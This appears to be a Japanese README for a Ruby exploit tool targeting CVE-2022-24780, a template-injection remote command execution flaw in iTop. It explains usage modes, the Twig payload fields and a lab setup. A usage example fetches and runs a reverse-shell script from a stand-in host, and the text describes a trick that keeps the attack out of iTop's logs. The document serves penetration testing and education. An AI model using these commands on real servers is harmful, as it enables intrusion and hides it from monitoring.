
iTop < 2.7.6 - (認証済み) リモートコマンド実行
iTop < 2.7.6 - (認証済み) リモートコマンド実行
CVE-2022-24780 のエクスプロイト。
[EDB-TODO] [PacketStorm] [WLB-2022050075]
$ ruby exploit.rb -h
iTop < 2.7.6 - (Authenticated) Remote command execution
Usage:
exploit.rb full <url> <username> <password> <cmd> [--debug]
exploit.rb light <url> <username> <password> <cmd> [--debug]
exploit.rb -h | --help
full: exploit with an emulated browser, execute JavaScript, preserve original user profile information
light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<username> iTop portal username
<password> iTop portal user password
<cmd> Command to execute on the target
--debug Display arguments
-h, --help Show this screen
Examples:
exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
full フレーバーのエクスプロイトは、Selenium によって駆動される Web ブラウザを使用する Watir を利用して、ユーザーのブラウジングをエミュレートします。これはユーザー情報を保持するために必要です。エクスプロイトは、ポータルユーザープロフィールのユーザー情報変更に使用されるフォームのサブ部分に SSTI ペイロードを注入します。一部の値はハードコードされたり HTML から取得できますが、他の値(電話、場所、役職)は JavaScript によって動的に読み込まれ、HTML に注入されます。そのため、エクスプロイトを破壊的でなくするためには、JavaScript を実行してこれらの値を取得できるようにする必要があります。
light フレーバーのエクスプロイトはそれほど気にせず、代わりに一部のユーザー情報フィールド(電話、場所、役職)に破壊的に null 値を設定します。ただし、このフレーバーは実行が速く、依存関係が少なく、JavaScript を実行せず、X 環境も必要としません(Watir は Web ブラウザを実行するために X 環境が必要です)。
TL;DR: すべて bundle install でインストール
Full フレーバー
gem を使用した例:
gem install httpx docopt watir webdrivers
Light フレーバー
gem を使用した例:
gem install httpx docopt nokogiri
ペイロードが JSON に注入されるため、二重引用符 (") やバックスラッシュ (\) を含むペイロードの使用は推奨されません。
警告: このコンテナは本番環境での使用には適していません!
vbkunin/itop:2.7.4 を使用 - source - docker hub
$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4
脆弱性は Markus KRELL によって発見されました。
発見者による脆弱性の分析:
ACCEIS はいかなる違法行為も促進または推奨しません。このリポジトリで提供されるすべてのコンテンツは、研究、教育、および脅威検出のみを目的としています。
セキュリティ監査人(またはその他のホワイトハットの役割)として、一方では、特定したアプリケーションのバージョン番号に基づく理論上の脆弱性が実際に実用的に悪用可能かどうかを検証するためにエクスプロイトスクリプトを実行したいと考えますが、他方では、顧客のアプリケーションを最初に発見したときと同じ状態に保つために、破壊的な操作をせずに適切に実行したいと考えます。
例えば、このエクスプロイトはユーザープロフィールページで発生するため、ユーザーの情報(名、姓、組織 ID、メール、電話、場所 ID、役職、マネージャー ID)があらかじめ入力されたフォームがあります。攻撃を成功させるには、脆弱なフィールドを上書きし、他のフィールドを null 値または必須の場合はランダムな値で埋めるだけで十分です。これが light フレーバーのエクスプロイトのやっていることです。しかし、そうするとそのユーザーの実際の情報が破壊されます。テスト環境では問題になりませんが、本番環境では実際に問題になります。ブラックハットはそんなことは気にしませんが、ホワイトハットとしてはデータを保持しなければなりません。そこで、実際のデータを取得し、POST リクエストで再利用することが解決策です。
従来の Web アプリケーションでは、多くの場合、脆弱なエンドポイントをターゲットに適切なパラメータを直接 POST リクエストに組み込むだけで済みます。場合によっては、セッション/クッキー、リダイレクト、いくつかの事前状態、ID や CSRF トークンの取得などが必要になることもありますが、それらは非常に簡単で、ほとんどすべての HTTP ライブラリで実現できます。
実際のデータを取得するために、フォームのデータがどこから来るかによって異なります。
複雑な JavaScript 操作によって多くの値が設定される最近の Web アプリケーションでは、もう少し厄介になります。ここでは、単に HTML をパースしたり REST API にリクエストしたりすることはできません。JavaScript ファイルから直接値を取得したり、数行を解析して値を再計算したりすることもできません。JS の計算が非常に複雑で、多数の異なる JS ファイルで行われていたり、JavaScript のソースコードが難読化またはパックされている場合、メカニズムをリバースエンジニアリングして値を抽出するには、多大な労力と時間が必要になります。その場合、実際にアプリケーションの JavaScript と対話する必要があります。しかし、HTTP ライブラリだけを必要とする従来のエクスプロイトスクリプトでは(単独では)それができません!
脆弱性を手動で悪用するのは簡単です。アプリケーションをブラウズし、ブラウザにすべての JavaScript を処理させ、Burp Suite のようなインターセプトプロキシを設定してリクエストが送信される前に変更できるようにすれば完了です。しかし、同じことを自動化された方法で行うのははるかに困難です。JavaScript と対話して実行するには、ヘッドレスブラウザ(ディスプレイ環境が必要な場合もある)とユーザーエミュレーションライブラリが必要です。幸い、ヘッドレスブラウザを駆動するための高度な機能テストライブラリがすでに存在します。最も有名なのは Selenium ですが、Cypress もあります。テストスイート以外にも、Playwright や puppeteer のようなより一般的な自動化を提供するライブラリもあります。どちらの場合でも、ユーザーがアプリケーションを使用しているかのようにユーザーの動作を模倣する DSL を使用するため、記述するコードはブラウザに「ここをクリック」、「名前フィールドに名前を入力」、「このリンクをクリック」などと指示します。テストフレームワークの限界は、通常のユーザーが行うことしかできないことです。たとえば、通常のユーザーはスクリプトタグや隠しフィールドの内容を取得しないため、それを行うこともできません。また、値を取得して期待値と比較することを目的としており、値を設定することは想定されていません。さらに、ヘッドレスブラウザを使用した実行ははるかに遅く、面倒な DSL の記述が必要になる場合があります。結局のところ、ヘッドレスブラウザとテストフレームワークは最小限に使用したいと考えます。
light フレーバーのエクスプロイトは、アプリケーションに接続し、ユーザープロフィールフォームを取得して取得可能なすべての値を取得し、電話番号、場所 ID、役職には空の値を使用してからエクスプロイトを送信します。
一方、full フレーバーのエクスプロイトは、アプリケーションに接続し、ユーザープロフィールフォームを取得して取得可能なすべての値を取得し、次にヘッドレスブラウザを使用して接続し、ユーザープロフィールフォームを取得して JavaScript から設定された 3 つの値を取得し、その後エクスプロイトを送信します。これはほぼ同じプロセスですが、JavaScript で設定されたデータフィールドに null 値を使用する代わりに、それらの値を実際に設定する JavaScript を実行するヘッドレスブラウザを使用して取得する点が異なります。また、エクスプロイトを完全にヘッドレスブラウザのみで記述することも技術的には可能ですが、前述の制限に直面するため、ヘッドレスブラウザを最小限に使用するハイブリッドアプローチを選択しました。
脆弱性 CVE-2022-24780 の発見者である Markus KRELL は、詳細な分析ブログ記事「iTop – カスタマーポータル内のテンプレートインジェクション」を執筆しました。
簡単に説明すると、脆弱性はユーザープロフィール変更時に発生します。ユーザーが自分の情報を更新するためにフォームを送信すると、バックエンド用のさまざまなメタデータを含む巨大な JSON オブジェクトが送信されますが、更新するユーザーデータは JSON の formproperties.layout.content サブノードに XHTML として格納されます。しかし Markus はソースコードで、formproperties.layout.type が XHTML または Twig の両方を受け入れることを発見しました。当然ながら、Twig という言葉を見たとき、彼はすぐに潜在的な SSTI を考えました。そこで、コンテンツ内のすべてのフィールドを試して脆弱なフィールドを特定したところ、data-field-id 属性と data-field-flags 属性が脆弱であることがわかりました。その後、一般的な Twig テンプレートインジェクションペイロードを使用することが可能です。さらに、ボーナスとして、式の末尾に |join(',') を追加すると、結果の配列が文字列に変換され、それによって iTop のログへのエントリを回避して攻撃をステルスにできることを発見しました。